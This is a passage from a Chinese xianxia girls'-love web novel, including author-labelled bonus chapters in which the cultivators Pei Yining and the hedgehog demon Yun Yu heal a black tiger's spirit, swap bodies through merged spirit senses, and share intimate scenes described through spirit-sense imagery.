黑虎巨大的身体卧着,虎头搭在爪臂上,眼睛虚虚睁开,虚弱至极。漆黑的瞳孔转动,在看见那三只小刺猬时,她的目光停留片刻,重重闭上。 小刺猬心提起来。 裴依宁双腿盘坐,身形随之变大,掌心那枚丹药散发出浓重的药香,她另只手腾出两指,银金色灵力源源不断地注入丹药中。 丹药融化成水,在化成一缕缕烟气,被灵力裹挟,带入阵法中,与漫天星点共同流入黑虎体内。 小刺猬屏住呼吸。 在最后一缕烟气进入,裴依宁素手一挥,阵法破碎。 黑虎的身形若隐若现,随时有要消失的趋势,裴依宁双腿撑起,长指在半空中勾动,无数枚符文随之升起,定在黑虎周身。 小刺猬看得胆战心惊。 她一边关注黑虎的状态,一边关注裴依宁的神色。 巨量的灵力消耗让裴依宁脸色越发苍白。 小刺猬爪子握拳。 “呼。” 裴依宁吐出一口长气。 黑虎的身形虽依旧呈现半透明状,但已稳定下来。 裴依宁咬住舌尖,疼痛让她清醒,一连吞下数枚丹药,她的脸色稍稍好看了些。 小刺猬急不可耐想要去探看师姐的身体,但这个时候,她不敢轻举妄动,担心一个不注意,让师姐的付出前功尽弃。 黑虎闭合的眼睛睁开,魂力的增强让她的身体缓慢凝结。 但她的身体过于庞大,短时间内无法恢复如初。 “你们……”黑虎的声音沉而哑,“我的身体,”虎眼不可置信地注视着自己的身体,“你们做了什么?” 裴依宁拱手:“晚辈裴依宁,见过黑虎前辈,上次前来,多有冒犯,还请黑虎前辈,莫要怪罪。” 黑虎对眼前的人族有印象,上次来的不止这一位人族,还有两位人族。 自己如今这副样子,多半是因为面前这位人族。 黑虎:“已过之事,无需再提。” 裴依宁转身,示意小刺猬们可以过来了。 小刺猬率先跳过去,一白二白紧随起来。 小刺猬快步爬到裴依宁身上,心疼地瘪起嘴,怜惜地蹭蹭女人的脸颊,她吸吸鼻子,传音:【笨蛋师姐。】 裴依宁懂她的心疼和未说完的话,她回音:【没关系的,星星,很快就好了。】 一白二白扑到黑虎爪边,二白哼哼唧唧地哭着。 黑虎头疼地拍开她,板着脸:“你们俩的修为,为何还是这么低。” 二白抽动:“黑虎前辈……” 裴依宁揣着小刺猬来到黑虎前,将白玉瓷瓶递给一白,嘱咐:“黑虎前辈,瓶内还有两枚丹药,过几日,您的身体再凝结些,便可直接吞服。半月一枚,一个月后,您的身体便可恢复如初。” 她顿了下,继续道:“但您体内的灵力,短时间内……” 她适可而止。 黑虎听得明白。 身体已然恢复,剩下的,便不是什么难事。 黑虎道:“多谢。你可有想要的,我这里虽已坍陷,但里面存物尚有许多,你可以随时取用。” 裴依宁笑了笑,搓起怀中的小刺猬:“我已经收到黑虎前辈的谢礼了。” 黑虎:“什么?” 裴依宁传音:【您先前留给小刺猬的传承。】 原是如此。 黑虎了然。 这位人族和小妖的关系竟如此之好。她行走世间这么多年,自是知晓想要修复自己的残魂要耗费多大的精力。 眼前的这位人族只是因为上次的传承…… 虎眼落在小刺猬身上,半晌后转到一白二白身上,沉重的声音再度响起:“三份传承,你二妖缘何与我沉睡前毫无二致。” 她道:“那只与你们同族的,修为跃升,你们还在这不知所谓。” 二白被训也不难过,颇有与有荣焉之感:“那是我们老大,比我们厉害是应该的。” 黑虎一爪下去,二白四仰八叉地压爬下:“毫无进取之心。” 二白眼泪汪汪。 小刺猬从师姐怀中跳下,抱爪:“黑虎前辈。” 黑虎点点头:“是个可造之材。” 刚苏醒的黑虎精神并不是很好,小刺猬等人没有过多打扰,在裴依宁二次检查过黑虎的身体情况后,三只小刺猬和一只小人与黑虎告辞,钻通道出去。 二白委屈地摸摸自己的小身体,可怜地对一白道:“黑虎前辈为什么不拍你。” 一白:“我安静。” 二白:“哦。” 小刺猬教过两只白毛小刺猬简单的招式,叮嘱一白二白好好修炼后,没再过多逗留。 “老大,你下次什么时候来,下次你来时,二白一定会把老大教的都学会!”二白信誓旦旦地伸出爪子,认真道。 另只白毛小刺猬:“一白也是。” 小刺猬咧嘴:“嗯……本星星要偷偷来,说不定哪日,你们一回头,便能看见我。” “好啦,时间不早啦,本星星要走了。你们照顾好自己,照顾好黑虎前辈。” 小刺猬记挂裴依宁的身体,也放心不下两只白毛小刺猬,但好在一白较为沉稳,她勉强能安下心。 一白二白:“老大再见。” 站在小型传送阵内的小刺猬:“再见,小跟班。” 阵法启动,小刺猬身形变动,化为人形,她揽住裴依宁的腰身,轻声道:“师姐,传送还需要一段时间,靠在我身上休息会。” 裴依宁“嗯”了声,歪头靠去。 藏在符纸中的小型阵法在非阵法师手中更为不稳定,云榆用灵力支稳身体,以免摇晃幅度过大,影响到裴依宁。 不多时,两人出现在裴依宁的洞府中。 云榆扶着师姐坐下,站在师姐身后为师姐按捏肩膀,她心有愧疚,却不知从何说起。 师姐不会喜欢听她说这些。 云榆:“师姐,有没有哪里不舒服。” 裴依宁道:“头有些疼,”知她的内疚,女人转身道,“星星想不想为师姐治疗。” 云榆垂目:“我不是丹修。” 裴依宁:“可师姐是啊,师姐可以教你,不是什么很难的。” 云榆试探:“那……试试?” 在师姐的指导下,云榆缓缓将灵识抽出,一点点地去引裴依宁的灵识。 交织融合。 裴依宁低哼:“轻点,星星。” 小妖把握不住度,灵识交缠的感觉来的如此剧烈,让她险些分不清方向。 揪着师姐便要更加贴近。 作者有话说: 下面是灵识互换的番外 裴师姐版小刺猬and小刺猬版裴师姐 第116章 星星和师姐(三)[番外] 灵识海内掀起惊涛骇浪, 无尽的水滴汇聚其中,不分彼此 两道虚无的灵识在脑海中你来我往,云榆缠绕,不舍得分开半点。她遨游在师姐的灵海中, 肆无忌惮地寻着各个方向。 不仅是灵识, 小妖已经拥住裴依宁,方寸之间, 女人退却不了半步。小妖的灵识在她面前并不强势, 柔和的过度。 裴依宁不敢有太大的举动,连推拒都做不得, 灵识被分割包裹,与小妖相伴, 被动的承载着汹涌无法预控。 云榆孜孜不倦的探索新奇的知识,第一次知晓灵识相合有这等作用,她压着喉咙,忍着继续的念头:“师姐,我该如何为你治疗。” 裴依宁的灵识被锁住, 面容浸染上久不透气的红, 双手撑着云榆的肩膀, 原比身体接触的感触还要深, 她咬住唇说不出话。 小妖的灵识不觉间竟然穿透了女人的灵海, 无边无际的浩瀚让小妖渺小到极致。 她惊叹师姐的包含, 也沉溺在师姐的包含中。但师姐的包含,换来的却是她一次次不知感恩的顶撞。 两道灵识共同滚入无尽的灵海中, 云榆压着念想:“师姐, 师姐……” 她不安地呼唤女人:“怎么办,我好像不会。” 小妖换了个方式, 努力静下心,灵识牵着师姐的灵识,寻得一处干燥之地。 可不消片刻,那处干燥之地亦是被灵海波及,润成一片。 小妖放弃克制的念头,比以往强烈千百万倍的念想吞噬住她极力遏制的混乱。 于是,她强压在师姐灵识,知晓灵识受损的危害,师姐的抵御微乎其微:“师姐,还教我吗?” 怎么教,如何教。 裴依宁颤颤巍巍地缩起手指,虚弱地垂在云榆肩膀:“进入我的灵识。” “已经在里面了。”小妖抖着声线,低喃,“师姐的灵识,我感知到了。” “喜欢。”小妖道。 裴依宁眼神虚幻,喃喃地下发指令:“帮我抚平。” 小妖:“嗯?” 怎么抚平? 裴依宁难以启齿:“用你的灵识,修补我的灵识,”她别过头,灵识被缠得越发紧,“就这样。” 小妖了然:“的确不是什么难事。” 不是丹修的她,也可以做得很好,做得让师姐很满意。 她托举着师姐,在得到师姐的话后,越发不顾忌。 “师姐,我曾听闻有一种修炼方式,”小妖的声音在灵海内响起,旖.旎的温度点点升高,“叫双……” “星星,”师姐的灵识发出微弱的制止声,她叫停小妖未出口的话,“不许……不许乱说。” 裴依宁道:“我们这是……治疗。” 后两个音轻到几乎听不清。 小妖控制着灵识,大脑在极速中早已失去了思考的能力,她卷起师姐的灵识,贪婪地吞食。 师姐的一切,在贪吃的小妖眼中,都美味无比。 小妖闷哼声,在灵海的深处,她被一道无形的力度挡住,前进不得。她不甘心止步于此,强行往里入。 灵海掀起狂风巨浪,小妖的灵识摇晃动荡。她的挑战欲被激起,势必要将那股看不见的力度挡回去。 悬停在灵海前的那枚灵珠周围包裹的灵气与灵海交织,在这场动荡中,灵珠上下弹动数次,坠入灵海。 “星星,慢点。”裴依宁未想到小妖想要进入海洋的深处寻宝,她膝盖软下,眉心拧成的小山拢起又舒展,舒展又拢起,循环往复,乐此不疲。 莽撞的小妖终于推开那道阻拦的力度,在灵海深处,她看见另一个小小的师姐虚影。 “师姐,我在为你修补灵识。”师姐的灵识适应了她的横冲直撞,她穿行而过,“是你说的。” 在灵识再一次被包裹,温热席卷,裴依宁抑制不住地探头,狠狠咬住小妖的肩。 灵识得到片刻松懈,裴依宁正欲放松,下一秒,更为不容置啄地逼近她。 似在回应裴依宁咬下的那口,小妖下手更不知轻重。 在无数次云端的松软中,裴依宁一次次坠入海面。 大汗淋漓。 小妖朝着灵海深处的师姐虚影冲去,在即将触碰到的瞬间,裴依宁下意识揪住小妖:“别,星星。” 为时已晚,小妖的灵识直直入了师姐的那层虚影中。 崩塌在下一瞬而来,灵海中心出现漩涡,顷刻间将小妖的灵识吸入。 小妖逃无可逃。 裴依宁缩在小妖怀中,身体轻颤,全身发软到毫无力气,后知后觉支起的抵御近乎忽略不计,一颗心尽数落在身前人怀中。 她感觉到自己的灵识在被挤压,被另一道漩涡,一道她目前没有力气做出逃脱动作的漩涡吸引。 身体轻飘飘的,她亲眼看见自己的灵识脱离身体,在向着另一道身体而去。 荒谬而有趣。 两人的灵识被迫分开,裴依宁眉宇间是纵容而无奈:“星星,好像出错了。” 小妖不知道哪里出错,她只知道,她的灵识已经不再受她的控制,慌乱中,小妖惊恐的声音传出:“师姐,怎么办,你的灵识被我弄坏了。” 含着慌不择乱的恐慌和哭音:“师姐,你的身体……” 裴依宁微微怔愣,这个时候,小妖想的不是自己的灵识飘向何方,只一门心思的关心她的。 本就软成一滩的心,刹时间能凝出水来,她存心要逗弄这只无法无天的小妖:“不知道呢。” 小妖还要说什么,但师姐的灵识彻底消失不见,她的亦是如此。 好在慌乱感没有持续多久,小妖猛地颤动,从灵识世界中脱离出来。 她立刻抱紧身前的人,补足那刻的失落和紧张,低声唤:“师姐,吓死我了。” 裴依宁道:“嗯呢,的确是要被吓到了。” “嗯?”云榆埋在师姐颈间,不明所以。 师姐身上淡淡的药香怎么没有了。 平日只是贴近就能嗅到的药香,如今抱紧成这般,都没能闻到,翻到有一股淡淡的,微甜的暖香。 就连惯常的触感都变得不同。 “我们遇到麻烦了,星星。”女人缓缓道。 师姐的声音也变了,音色竟与她颇为相似。 她抬起头,待到瞳孔中挤满面前人样貌的瞬间,将出的话语卡在喉咙间,她不可置信地张唇,撒娇的软态凝结。 她的脸,怎么出现在了师姐的脸上。 不对,一定是她的灵识在极剧的快乐中没能反应过来,出现了幻觉。 她重新埋入面前人的怀中,用力揉动几次眼睛,随后再度睁开眼睛。 没变。 她的脸还是在师姐脸上。 小妖瞳孔睁大:“这……这是怎么回事。” 她摸摸自己的脸,脸还在。 急忙用灵力幻化成一道影像,她怼上去一瞧。 她的脸怎么变成师姐的了。 小妖欲哭无泪:“师姐,完蛋了。”她眼睛一亮,“师姐,你有没有办法换回来。” 盯着云榆的脸,女人摇摇头,深沉中透着的表情在云榆这张脸上新奇无比。 小妖嘴角抽搐:“那岂不是要一直这样。” 她顶着师姐的脸,师姐顶着她的脸。 好可怕,好……刺激! 云榆用了半柱香接受这个事实,她双手圈在面前人的腰身,身体往后靠。 怪怪的,揽住属于自己的身体,对着自己的脸。 奇怪。 真的太奇怪了。 裴依宁很好地接受了,她歪头,眉梢挑起,挣开前人的束缚,看着自己的手:“短时间内,许是换不回来的。” 小妖:“……没关系。”她笑出声,想到要用这具身体做些师姐平日里万不可能做的事,她就想笑,“师姐,不对,师妹。” 某位师姐淡淡地看她眼:“这段时间,我们只能先互换身体,你这般唤我,倒也合理。”她似笑非笑,“满足你做师姐的梦了,如何?” 这小妖与她初见时,便装作老成的模样,现在真的能被唤做师姐,岂不是很有趣。 小妖思索:“我现在是裴依宁,你现在是云榆。”她两掌一拍,故意道,“云师妹,叫声师姐听听。” 女人从善如流:“师姐。” 记起这人当年骗自己时,一口一个叫别人师姐时的顺溜模样,小妖轻捶了一拳。 女人:“你为何打自己。” 小妖:“……” 对哦,面前的是她的身体,她为什么要打她的身体,她应该打师姐的身体。 小妖反手一圈打在手臂上。 “好疼。”小妖泪眼汪汪。 女人提醒:“我们是互换灵识状态。” 小妖不动了,她哼哼地“切”了声,往凳子上一坐,双腿交叠,脊背弯下,手肘支在大腿上,掌心托着下巴,笑盈盈地盯着面前的人。 女人被她含笑盯着,心知对方又在想什么坏点子。 果不其然,小妖指她:“云师妹,能变回本体给你亲爱的裴师姐看看吗?” 女人:“……” 小妖撒娇:“变嘛变嘛,我想看看。” 她还没抱过自己,想顺顺自己身体的刺,用别的视角戳戳自己的小肚子。 看着自己的脸在朝自己撒娇,裴依宁别开头,不忍直视。 太违背本性了。 她怎么可能用这种甜腻的语气撒娇。 女人觉得新鲜:“如何变。” 小妖道:“放松身体,想着变回本体即可。” 女人静下心来,按照小妖说的,将所有的念想清空,渐渐的,一只小刺猬的身形浮现在她的脑海中。 女人的身体一点点缩小,她的视野中,面前人的身形变大,变高。 直到定格,她垂眸,手臂变成爪臂,矮小的身体距离地面不过些许距离。 这就是小刺猬眼中的世界吗? 裴小刺猬探爪摸摸脊背,柔顺的刺贴合,并不扎手。记起云小刺猬喜欢四仰八叉趴着的姿势,裴小刺猬想要试试。 她爬上属于自己的身体,与云小刺猬的灵活相比,她的动作稍显生疏。 “师姐,你好可爱。”小妖忍不住捧起裴小刺猬。 裴小刺猬:“星星是在夸自己吗?” 这具身体是小妖的,小妖夸现在的她可爱,岂不是变相的夸自己可爱。 小妖笑:“我可没有。” 她提起裴小刺猬,心痒痒地拎住裴小刺猬的后颈,裴小刺猬如以往的她般,四肢垂下,无助可怜。 更加可爱了。 怪不得师姐从前总是喜欢拎她。 经过这次,她也想时常这么拎起自己的身体。有趣。 裴小刺猬温声道:“星星,乖一点,放我下来。” 小妖傲娇不改:“大胆,现在要叫我师姐。” 裴小刺猬:“……”她叹息,服从,“师姐,请问能放我下来吗?” 小妖师姐得意洋洋:“可以哦,师妹。” 她颇有一副大人有大量的模样,将裴小刺猬放下。那张清冷的眉目因着她变动的神情,灵动鲜活许多。 裴小刺猬不免想到小妖在本体上做出这种表情的样子。 她无声地弯下唇。 裴小刺猬学着云小刺猬的模样,四仰八叉地趴下。 嗯,的确很舒服,怪不得小刺猬喜欢这个动作。 但没多久,小妖师姐将她翻了个面,细长手指点在裴小刺猬的肚子上。 小妖:“弹弹的。” 从前摸自己都不曾有这种感觉,这就是换视角的好处吗? 等今后变回去,她定然要收费让别人摸。 不对,不能让别人摸她,裴师姐会不开心的。小妖默默打消了这个念头。 就在这时,仰面而躺的裴小刺猬忽而坐起,小小的五官凝重起,似乎在倾听别人的话。 小妖师姐好奇地:“怎么了?” 过了会,裴小刺猬道:“我收到纳兰的传音,现在需得去趟灵丹堂。” 她和云榆互换灵识,总不能顶着小刺猬的身体,或者是云榆的身体去灵丹堂和一众师妹们商量事情。 太过匪夷所思。 届时传到堂主或是宗主耳中……裴依宁头疼。 麻烦来得这般快。 裴小刺猬道:“星星,你替我去。” 小妖指了指自己:“我?我去?” 裴小刺猬:“我同你一起,有什么,我传音告诉你。” 别无她法,如今只能这般。 小妖认命地起身,揣着裴小刺猬就要往灵丹堂而起,谁知刚一起身,她腿一软,膝盖一弯,差点跌倒。 好酸,身体好酸。 先前还没注意,现在一动,哪哪都是酸的,尤其是两条腿,酸胀无比。 她承接了这具身体的一切触感。 事后的酸意让她站不稳。 裴小刺猬耳尖泛红,视线移向别处,掩饰地遮盖:“缓缓吧,等会再去。” “我当时让你轻点了。”裴小刺猬道。 小妖自行揉捏双腿,等到缓解地差不多了,她再度揣上裴小刺猬。没走两步,裴小刺猬要趴在她的肩头,小妖自是顺着对方的意。 等她们二人赶到时,纳兰然已然在殿前等了许久,见到裴依宁的身形,她遥遥地走过去:“裴师姐。” 小妖下意识:“纳兰师姐。” 纳兰然怔然,神情恍惚。 裴师姐这又是在做什么,怎么又叫她师姐了。 她悄悄看了眼趴在裴依宁身体上的小刺猬,按理说,小刺猬知晓裴师姐的身份,这般,又是在玩什么。 她在想要不要应下裴依宁的这声师姐。 小妖发现不对,急忙改口:“纳兰师妹。”她学着裴依宁惯常说话的方式,“发生了何事。” 纳兰然心有疑惑,裴师姐这不断变化的称呼。她顿了顿,道,“师姐,昨日栽种的几株魂草不知怎么的,呈现出枯萎的趋势。” 魂草种下后不能离土,她们一众人不知如何处理,生怕不注意让魂草直接枯萎,只能寻得裴师姐亲自过来探看。 小妖在等裴小刺猬的传音,没有冒然回答。 但裴小刺猬没有传音。 纳兰然左右等不到话,心中好奇更甚,但面前人的气息确是裴师姐无疑,她不起疑心,只当裴师姐在想方法。 小妖传音:【师姐,我该怎么回答。】 裴小刺猬传音:【去看看。】 小妖呼出一口气:“不急,纳兰师妹,带我去看看。” 她可不知道魂草种在哪里,也不知道等会该如何处理,等会要找个机会让她们离开,然后让师姐处理。 小妖按按脑袋。 在见到所谓的魂草后,小妖的脑袋更疼了。她左看看,右看看,四面八方的药田内种着成百上千种药材。 有些药材长得几乎一模一样,若非是田前的小牌写着的药株名字不同,她压根分不清。 丹修好辛苦。 竟然要记这么多东西。 好可怕。 还好她是剑修,虽然穷,但不至于受这些苦楚。 小妖一时间竟然有些庆幸。 纳兰然道:“师姐,您看。” 面前数十株药材看上去恹恹的,叶片垂着,一副枯萎之态。 小妖一头雾水:【师姐!】 裴小刺猬懒洋洋地传音:【没事,让她不用担心。这魂草刚种下不久,还没适应。过几日便可。】 小妖将裴小刺猬的话原话送出。 纳兰然松下一口气:“那就好。”她这才有心思逗弄趴在师姐肩膀上的小刺猬,笑着道:“云师妹。” 裴小刺猬:“……纳兰师姐。” 小妖抿住唇,想笑又不能笑,让她憋的属实有些难受。 裴小刺猬不动声色的坐下,故意用脊背的刺去扎小妖。 纳兰然继续道:“许久没见到云师妹的本体了,”她真心夸道,“还是一如既往的可爱。” 她可没勇气当着裴师姐的面说要摸小刺猬。 裴小刺猬:“谢谢纳兰师姐夸赞。” 小妖接道:“她本来就很可爱。” 当着别人的面夸自己,这也太好了吧。 纳兰然直应是。 在灵丹堂待了会,小妖晃动在各个殿宇间,在一声声的“师姐”中飘飘然,不知所以。 她还是第一次被这么多人叫师姐。 裴小刺猬跟着她,同样受到许多同门的瞩目,只不过,与以往的敬畏不同,更多的是渴望。 渴望摸她。 裴小刺猬默默地缩起身体,传音给某个正大光明,顶着她身份装师姐的某只小妖:【星星,我们回去。】 小妖晃动好了,也想回去逗弄某位裴小刺猬,一口应下:“走啦,可爱的小刺猬。” 路过的纳兰然听见这句,脚步一顿,不禁感概裴师姐在云师妹面前的欢脱。 与平日清冷温柔不同的姿态。 回到洞府,小妖捧起随性的小刺猬,笑意不减:“师姐?” 裴小刺猬不想理她。 裴小刺猬想变回人形。 但想到变回人形,她又觉得哪里不对劲。 她低叹,现在就很不对劲。 要不要换回来。可看小妖挺喜欢的。 再等等吧。 裴小刺猬:“嗯?怎么了?” 小妖道:“没什么,就是想要喊喊你。” 裴小刺猬“嗯”了声。 小妖戳戳裴小刺猬脊背的刺,捏捏裴小刺猬的小肚子,拉拉裴小刺猬的爪子,最后亲亲裴小刺猬的脸颊。 妖族的身份让她不觉得有什么问题。 自己亲自己而已。 裴依宁双爪挡住她的脸,道:“在没换回来之前,你不准亲我。” 小妖不解:“为什么嘛,就要就要。” 裴依宁:“不可以。”她补充,“撒娇也没用。” 小妖:“哦。” 不给就不给,她才不是很想亲。 她只是被自己的本体可爱到了。她就是一只很自恋的小刺猬。小妖傲娇地想。 她下巴磕在桌案上,想到什么:“师姐,我现在是你的身体,那我是不是也继承了你的手艺。我现在做饭味道应该很不错吧。” 她说干就干,捋上袖子就要尝试。 裴小刺猬默默出声:“你现在会炼丹吗?” 小妖:“不会。” 裴小刺猬:“那你觉得,你的手艺会上升吗?” 小妖:“……师姐,你好会打击我。” 裴小刺猬:“实话实说。” 她顶着小刺猬的身体,转身,抱起桌案上的茶杯,里面蕴着大半杯温凉的茶水。她爪子用力,艰难地举起茶杯。 片刻后,放下。 她不太想被茶水呛到。 用小刺猬的身体,喝茶都变得麻烦了。 还是需要磨合一段时间才可以。 小妖笑眯眯地:“来,我喂你。” 小妖一手捞起裴小刺猬,另只手捏起水杯,将杯沿抵住裴小刺猬的唇边。 裴小刺猬认命地张嘴。 “对啦,”小妖兴致勃勃地从空间储物中取出两样吃的,“你馋吗?” 裴小刺猬:“……不馋。” 小妖:“啊,怎么会,我以为继承了我的身体,师姐会想的。” 裴小刺猬:“不想。” 小妖皱眉:“可我能感受到师姐这具身体一点点想法。” 裴小刺猬问:“炼丹?” 小妖摇摇头,笑得狡黠:“我能感觉到,师姐有时会想让我亲你。” “所以,刚刚为什么不让我亲呢?” “师姐不想吗?” 裴小刺猬:“不准顶着我的脸,用这种语气说这种话。” 作者有话说: 第117章 星星和师姐(四)[番外] 被裴小刺猬扇了一爪子的小妖揉着被拍红的手背, 弱弱地将揽在怀中的小刺猬丢回桌面上。 她瘪瘪嘴,故作哭唧唧的模样,晶亮的眼底蓄上一丝水汽:“师姐变得凶凶的,打的好疼。” 裴小刺猬属实想不到有一天自己的这张脸会说出这种话来, 尤其是那双眼睛, 泪水说来就来,含糊不了半点。 小妖装模作样地抹眼泪:“师姐。” 裴小刺猬抬爪:“云榆!” 小妖急急地起身, 往后退两步, 细长的手指卡在桌沿边,灵活地躲掉裴小刺猬的这一下。 但裴小刺猬的速度比她还要快, 就着小妖伸出的那根手指,蹿过去, 爬上小妖的胳膊。 小小的身体划出一道残影,快到即使是继承裴依宁身体的小妖都无法铺捉到具体的影像。 等小妖反应过来时,裴小刺猬双爪已经怼在她脸颊两侧,揪住,向外一拉。 小妖登时疼得龇牙咧嘴, 倒吸凉气:“师姐三思, 疼得虽然是我, 但这毕竟是你的脸, 你对你的脸温柔点。” 裴小刺猬泄下一点力量, 但并不收手:“你是笨蛋。” 话音刚落, 裴小刺猬和小妖同时愣住了。 这句口头禅是云小刺猬的,她怎么会说出来。就连她此刻的举动, 都是过往的裴依宁不可能做出来的。 她受到了小刺猬这具身体的影响。 小妖率先反应过来, 没忍住笑出声,单手拎住裴小刺猬的后颈, 另只手轻轻扯下裴小刺猬的双爪。 她缓而慢地将裴小刺猬举高高,看着小刺猬本能地踢蹬下肢,要努力从她手上挣脱下来的姿势。 这样的师姐好可爱。 她从前这样被师姐举起时,师姐看她也是这样的感觉吗?她记起师姐曾经不止一次夸过她可爱。 小妖捏住裴小刺猬的爪子,柔声道:“想不想下来?” 裴小刺猬不理她。 连傲娇的性子都继承了一小部分,小妖想笑又不敢笑。毕竟只是灵识互换,师姐的修为还在,若是把师姐惹生气了,依照裴小刺猬现在的脾气,说不定真的要把她修理一顿。 小妖放弃想象那种画面,定然不是很好看。 她将裴小刺猬放下,与自己平视,探身凑过去,额头抵住裴小刺猬的额头,暖声询问:“师姐,我想亲你。” 她低声诉说:“怎么办,这具身体让我去亲你。” 裴小刺猬身体一僵。 “但这具身体更想让你亲我。”小妖继续道,“你想不想亲我。”她对自己的身体足够了解,“一定也想吧,师姐每次这样对我时,我都会忍不住去亲你。” 裴小刺猬咽了下,的确如小妖所言,她想亲面前的人,想要拥抱面前的人。 但理智拉扯她,让她做不了这般主动的事,裴小刺猬只能避开小妖灼热的目光,将视线偏向别处,当做没听见小妖的问话。 小妖引诱道:“师姐,有没有想过,用我的身体,同我亲吻。” “亲吻自己的这张脸,一定会有不同的感受吧。”小妖鼻尖挨上裴小刺猬的鼻头,哄着问,“师姐,你不想要试试吗?” 裴小刺猬摇摆而心动。 小妖再接再厉:“师姐,幻化成人形就可以。” 小妖贴靠得越来越近,温热的呼吸缠绕,暧昧气息不间断地上升。 裴小刺猬快要被说动,她双爪自然垂落,浅浅地握成拳。 小妖的唇快要触碰到裴小刺猬的唇,她适可而止地停住,等待。 不知过了多长时间,双耳发红的裴小刺猬轻声道:“放我下来。” 小妖弯唇,知道师姐这是同意了。 她弯身将裴小刺猬放到地上。 灵光闪过,一道修长的身形出现在小妖眼底。 裴小刺猬打量这具属于云榆的身体,角度的变化让她除了新奇外,更多的是绵软的爱意。 她珍视小妖的身体。 从刺猬形幻化成人形后,独属于小刺猬的小性子和傲娇尽数褪去,裴依宁抬眸,对上那张熟悉至极的脸庞。 小妖顶着她的脸,弯唇浅笑:“师姐。” 裴依宁上前半步,被云榆这具身体骨子里的占有欲感染,她情不自禁地伸出手,将眼前的小妖束缚住,细长的指摩挲在小妖的锁骨处。 “星星,”裴依宁唤小妖的名字,单膝跪在自己身体的腿上,她清楚地知道自己的身体想要什么,两指捏住自己身体的下巴,“抬起头。” 小妖被这股气势压制住,她不由自主地屏住呼吸,不住地迎合,听话地仰起头。 裴依宁满意地拍拍那张脸:“好乖。” 小妖心觉不对,可身体不住翻涌起隐秘的兴奋。 师姐原来喜欢这些吗? 裴依宁没有急着亲小妖,毕竟那张脸让她仍旧有些迟疑,她一遍遍地揉捏小妖柔软的唇瓣,一根手指滑入小妖的口中:“咬住。” 小妖牙齿轻合住,面上是求夸夸的表情。 裴依宁不禁想,她会做出这样表情吗? 好像不会。 指尖被柔软轻触,带着点湿。 裴依宁支起眼帘,长而翘的睫毛颤抖,似是接收到她的信息,小妖舔舐的更加柔和,眼尾上挑,含情的眸子一瞬不瞬地盯着她。 裴依宁神经跳动。 小妖真不愧是妖族中人,这眼神妖里妖气的。若非确定自己是人族,她都要怀疑自己的这具身体是不是有妖族血脉了。 她眯起眼睛,空闲的手卡在小妖的脖颈,向上一抬,小妖受不住地轻咳声,裴依宁顺势将沾染液体的手指点在小妖唇上。 那张红润的唇染上晶莹的亮色。 小妖咳出泪水:“师姐,你对你的身体一点怜惜都没有吗?” 就这样猝不及防地来一下,不怕将喉咙卡断吗。 小妖抹了下唇角,眨了下眼睛:“师姐,这样对自己,是不是很刺激。” 小妖扶住裴依宁跪在膝盖上的腿,另只手揽住裴依宁的腰身,声线含着几分沙哑:“看着自己的脸不断靠近,我好期待。” 她凑到裴依宁耳边,想着过往师姐可能会做的举动,唇贴在耳边:“这个时候,我应该叫你师姐还是……星星。” 裴依宁指骨绷紧,半晌后,失笑地扶住小妖,长腿放下,反身坐在小妖身上,勾住小妖的脖颈,捏住小妖脸颊,迫使小妖不得不止住声音。 “星星,只是互换灵识而已,该叫师姐时,还是要乖乖叫师姐,知道吗?”裴依宁眯起眼睛。 小妖得到片刻喘息,她为自己辩解:“我不是怕师姐面对自己的脸,下不去……” 未说话的话语连同所有的声音一并被吞下,小妖眼睛点点睁大。 她被自己的身体亲了。 不是,是师姐的身体被她的身体亲了。 不对,还是不对,好混乱。 唇齿相碰,裴依宁含住小妖的唇,用云榆的身体感受亲吻自己身体的触感。 原来云榆每次亲她时是这种感,带着点点药香和暖香混合在呼吸间,浅浅的甜意充斥在口腔中。 裴依宁被两股不同的力量拉扯,一股在告诉她,自己亲自己是不对的,另一股告诉她,没关系,用的是云榆的身体,是在和云榆接吻。 头皮被激得发麻,裴依宁扣住小妖的脑袋,五指陷入发丝中。 互换灵识,在互相身体本能的应召下,她们都只能自己的身体想要的是什么,想要什么样的安抚,这场亲吻绵长而和谐。 几近缺氧,小妖满面绯红地别开头,晶润的唇被映衬地越发妖艳。 裴依宁的情况比她好不了多少,眼底蕴着晶莹剔透的水光,朦胧地看向面前的人。 “师姐变得好会,”小妖喃喃自语。 诚然有她身体因素的诱导,但更多的是师姐自身掌握的快。 她受不住这般只停留在亲吻的层面,但让师姐自己弄自己,师姐定然是不可能同意的。 她也不愿意。 小妖抱住腿上的身体:“师姐,能不能变回来。我想用自己的身体,和你做别的事情。” 裴依宁尾指缩起。 不久前还同小妖说没办法,现在变回,岂不是明示小妖,自己先前是在骗她。 但,她也想…… 裴依宁闭上眼:“如我们互换灵识时做的事,便可换回来。” 灵识交织缠绕,一来一往带来的激烈反应让小妖战栗。那种灵魂与身体一同欢愉的事,轻易让要沦陷。 小妖应下:“那我们……变回去。” 她抽调出灵识,透明的灵识缓缓自头顶升起,悬浮在半空中。裴依宁顿了顿,才是调出灵识,接受奔袭而来的云榆的灵识。 云榆的灵识顷刻间将裴依宁的灵识卷起,接触的瞬间,裴依宁就险些因受不住而要逃离。 却被另一道灵识紧紧缠住,灵识的主人不紧不慢的声音荡漾在裴依宁的灵海中:“师姐,方才用我的身体,亲你自己身体时的强势呢,怎么现在就要逃了?” 她连上那道灵识:“不准跑,师姐。” 灵识在出体的同时,便有一部分回到原先的身体,裴依宁坐在云榆腿上,坠落感来得又快又急,她无意识地推动云榆的身体,想要分开。 但她的灵识被缠绕的太紧。 不仅是灵识,身体给出的反应更是真诚无比,她腰窝泛着酸与疼。 黏得沾染上衣衫,汁液流淌。 裴依宁眼尾含住一滴泪光,优美的天鹅颈扬起。 不止是灵识,云榆不放过她的任何一处。 一心二用被云榆发挥得淋漓尽致。 两面夹击,不给裴依宁喘息的时机。 在短暂的驻扎在云榆身体时,她就发觉到小妖隐藏在身体深处的恶劣。平日里乖巧地一口一个,脆生生地叫师姐。 可一旦那恶劣被激发出,便成了师姐叫。 就如同现在般。 咬紧牙关已经抑制不住那种剧烈的刺激。 断断续续从喉咙中溢出,被修建成破碎的,凌乱的美。 裴依宁阻止云榆:“星星,慢点,慢一点。” 她隐约带着哭腔:“放开点……” 云榆笑得和煦,阳光明媚到让人难以想象她会对受人敬畏的师姐做出这种事。 可她不仅做了,还做的很恶劣:“师姐会喜欢的,”她轻声,“师姐分明不久前,还很强势地对自己的身体。” 她呼出气,灵识被不知名的液体染得水淋淋,灵海内的风浪一波接着一波,好像永远都无法止歇。 